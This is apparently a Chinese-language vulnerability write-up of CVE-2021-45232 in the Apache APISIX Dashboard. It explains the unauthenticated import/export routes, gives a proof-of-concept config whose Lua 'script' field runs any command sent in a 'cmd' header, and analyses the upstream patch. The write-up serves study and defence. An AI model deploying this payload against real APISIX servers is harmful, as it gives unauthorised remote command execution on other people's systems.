Skip to content

CVE-2021-45232

漏洞背景

是未授权访问的漏洞,允许攻击者在不登录APISIX DashBoard的情况下进行访问API接口/import。从而造成APISIX对应的容器的文件上传和下载。最终的话会因为这个这个漏洞导致RCE。其所在的端口为 9000

Manager API在gin框架的基础上 引入了 droplet框架,所有的API和鉴权中间件都是基于droplet框架开发的。但是有些API直接使用了框架gin的接口,从而绕过身份验证。 其中存在 import /export 两个接口是未授权可进行访问的 利用的思路:未授权接口可导入配置文件,其允许为用户自定义的函数,我们通过路由访问即可获取权限。

Gin框架:一种用于构建Web应用程序的轻量级Go语言框架,设计目标是速度和高性能。 Droplet框架:另外一个Web框架

这里存在未授权漏洞的API接口为

/export 
/import 

为什么会产生这样的漏洞? 因为在一次apisix dashboard(https://github.com/apache/apisix-dashboard)的更新当中,没有对其中的路由设置好权限,所造成的。 影响的版本 Apache APISIX Dashboard 2.7 - 2.10 版本

复现

直接访问 路由

/apisix/admin/migrate/import 
#进行引入配置

/apisix/admin/migrate/export
#导出相关的配置

poc

eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
    //代码执行 
            "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}

对补丁进行分析

https://github.com/apache/apisix-dashboard/commit/b565f7cd090e9ee2043fbb726fbaae01737f83cd

  1. 发现在测试用例当中,新增了对于
"/apisix/admin/migrate/import"
"/apisix/admin/migrate/export"

这两个路由的测试 image.png

  1. 删除了对于droplet的验证,新增了关于gin的jwt认证

image.png

  1. 删除了关于请求相关路由的回应,在authentication 当中

image.png

  1. 在route.go 当中添加了对于路由权限的校验

image.png

疑问

apisix admin DashBoard 和 apisix之间的关系是什么?

Apache APISIX Dashboard和Apache APISIX是两个独立的服务, 前者提供了一个前端页面可以用来管理后者,而管理方式是通过etcd 而非后者的admin api。

Back to top